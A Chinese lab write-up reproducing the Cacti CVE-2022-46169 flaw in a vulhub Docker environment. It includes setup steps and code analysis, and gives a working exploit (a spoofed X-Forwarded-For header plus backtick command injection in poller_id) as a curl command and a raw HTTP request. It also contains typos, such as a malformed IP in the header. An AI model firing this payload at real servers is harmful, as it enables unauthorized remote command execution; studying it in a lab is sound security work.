当前位置: 首页 > news >正文

CVE-2022-46169漏洞复现

环境搭建:ubuntu

sudo apt update
sudo apt install proxychains4
sudo nano /etc/proxychains4.conf
socks4  127.0.0.1 1080  # 代理服务器地址为127.0.0.1,端口为1080,根据实际情况修改
sudo apt install curl
sudo apt update && sudo apt install --reinstall ca-certificates
proxychains curl -fsSL https://get.docker.com | sh
docker versioon
docker compose version
proxychains git clone  https://github.com/vulhub/vulhub.git
cd vulhub/cacti/CEV-2022-46169
docker compose up -d     可以通过docker ps -a查看信息

注:在cd vulhub/cacti/CEV-2022-46169中的vim docker-compose.yml可以修改端口号等

然后通过主机的浏览器访问http://虚拟机地址:8080 端口(或者是你修改的端口号)

账号以及密码都是admin

安装xdebug:

pecl install xdebug-3.1.6
运行安装 xdebug
docker-php-ext-enable xdebug
启用 xdebug 扩展
在/usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini

添加如下内容:
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes(记得在vscode中的终端进行调试)



复现分析:

 1:身份绕过漏洞(未授权访问)
位置:remote_agent.php 文件中的客户端IP校验逻辑
利用方式:
添加 X-Forwarded-For: 127..0.0.1 请求头
原理:get_client_addr() 函数未验证代理头真实性,导致攻击者可伪装为本地IP

漏洞代码:

function poll_for_data() {
$local_data_id = get_nfilter_request_var('local_data_id');
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id'); // 未过滤参数

$item = db_fetch_row("SELECT action FROM poller_item WHERE id=$poller_id");

switch ($item['action']) {
case 2: // POLLER_ACTION_SCRIPT_PHP
$cactiphp = proc_open(
"php script_server.php $poller_id", // 直接拼接命令
$descriptorspec,
$pipes
);
break;
}
}

对于接受的参数使用get_filter_request_var函数进行过滤,下面还用了cacti_escapeshellarg对$poller_id参数进行了转义

然后我们使用已近拥有的pyload:

/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
X-Forwarded-For: 127.0.0.1

然后使用curl或者burp suite

curl:curl "http://192.168.1.37:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=\`touch+/tmp/success\`" -H "X-Forwarded-For: 127.0.0.1"

burp:GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/1` HTTP/1.1
Host: 192.168.1.13:8080
Cache-Control: max-age=0
X-Forwarded-For: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Connection: close

通过代码可以看到调用了remote_client_authorized函数进行了一个检测
其中又调用了get_client_addr函数

查看这个代码的逻辑

使用$_SERVER来匹配这些http headers头,如果存在该headers头,就用explode去对数据进行分隔处理,不为空则进入if判断,又检测其是否为IP,进行了一个取反,所以进入了else,对client_addr进行了赋值,使用了break 2跳出了二层循环,返回了值

获取了client_addr后,还会进行一系列处理,判断是否为空,再次检测是不是ip,然后使用gethostbyaddr函数获取到localhost,
调用数据库查询,数据库中默认的hostname就是localhost,所以最终返回true,成功绕过了鉴权

由于我们参数可控,可以采用暴力猜解等方法,进行爆ip和构造X-Fowarded-For:127.0.0.1。

上面成功绕过鉴权后,后续会提取参数进入一个switch,这里控制action为polldata,进入poll_for_data。

获取local_data_ids host_id poller_id


接着就会在数据库中进行查询,将数据处理后switch判断action的值
当action的值为POLLER_ACTION_SCRIPT_PHP时,便可进入执行命令的逻辑

总结:

rce 执行归结于 proc_open函数 他直接进行了拼接,且未对我们用户的输入做过滤,导致了rce
鉴权函数也可以优化,最简单的方法就是改变一下那个数组的顺序,将用户不能控制的ip放在最前面,让他循环一次就会直接判断
而且他这个回显的过滤也很好绕过。
但是终归还是没对用户的输入做过滤

http://www.dtcms.com/a/303920.html

相关文章:

  • DNS污染与劫持
  • 《林景媚与命运协议》
  • 服务器数据恢复—RAID上层部署的oracle数据库数据恢复案例
  • logtrick 按位或最大的最小子数组长度
  • JavaWeb(苍穹外卖)--学习笔记15(分页查询PageHelper)
  • Unity_UI_NGUI_DrawCall
  • Mac安装Navicat步骤Navicat Premium for Mac v17.1.9【亲测】
  • 【腾讯云】EdgeOne网站安全防护的配置方法 防范盗刷流量 附恶意IP和UA黑名单
  • 学习网址备份(二)
  • Linux 启动流程、密码破解、引导修复完全手册
  • 【智能协同云图库】智能协同云图库第八弹:基于阿里云百炼大模型—实现 AI 扩图功能
  • haproxy应用详解
  • 创建型设计模式-工厂方法模式和抽象工厂方法模式
  • 云端文档管理新纪元:Paperless-ngx与cpolar打造的无边界文件生态
  • Ext JS极速项目之 Coworkee
  • 在WSL中配置VS Code C++开发环境完整教程
  • Java抽Oracle数据时编码问题
  • 百元级工业级核心板:明远智睿×瑞萨V2H,开启AIoT开发新纪元
  • 论文阅读:LMM-Det: Make Large Multimodal Models Excel in Object Detection
  • 从0到1学PHP(三):PHP 流程控制:掌控程序的走向
  • 解析hive sql——将别名表、字段转化为指示表字段
  • 算法思维进阶 力扣 375.猜数字大小 II 暴力递归 记忆化搜索 DFS C++详细算法解析 每日一题
  • 详细说明零拷贝
  • LeetCode 1616.分割两个字符串得到回文串
  • 使用鼠标在Canvas上绘制矩形
  • 【dropdown组件填坑指南】鼠标从触发元素到下拉框中间间隙时,下拉框消失,怎么解决?
  • 前后端分离的项目,有一个计算的功能,是前端计算还是后端计算
  • C/C++离线环境安装(VSCode + MinGW)
  • leetcode热题——螺旋矩阵
  • JAVA中集合的遍历方式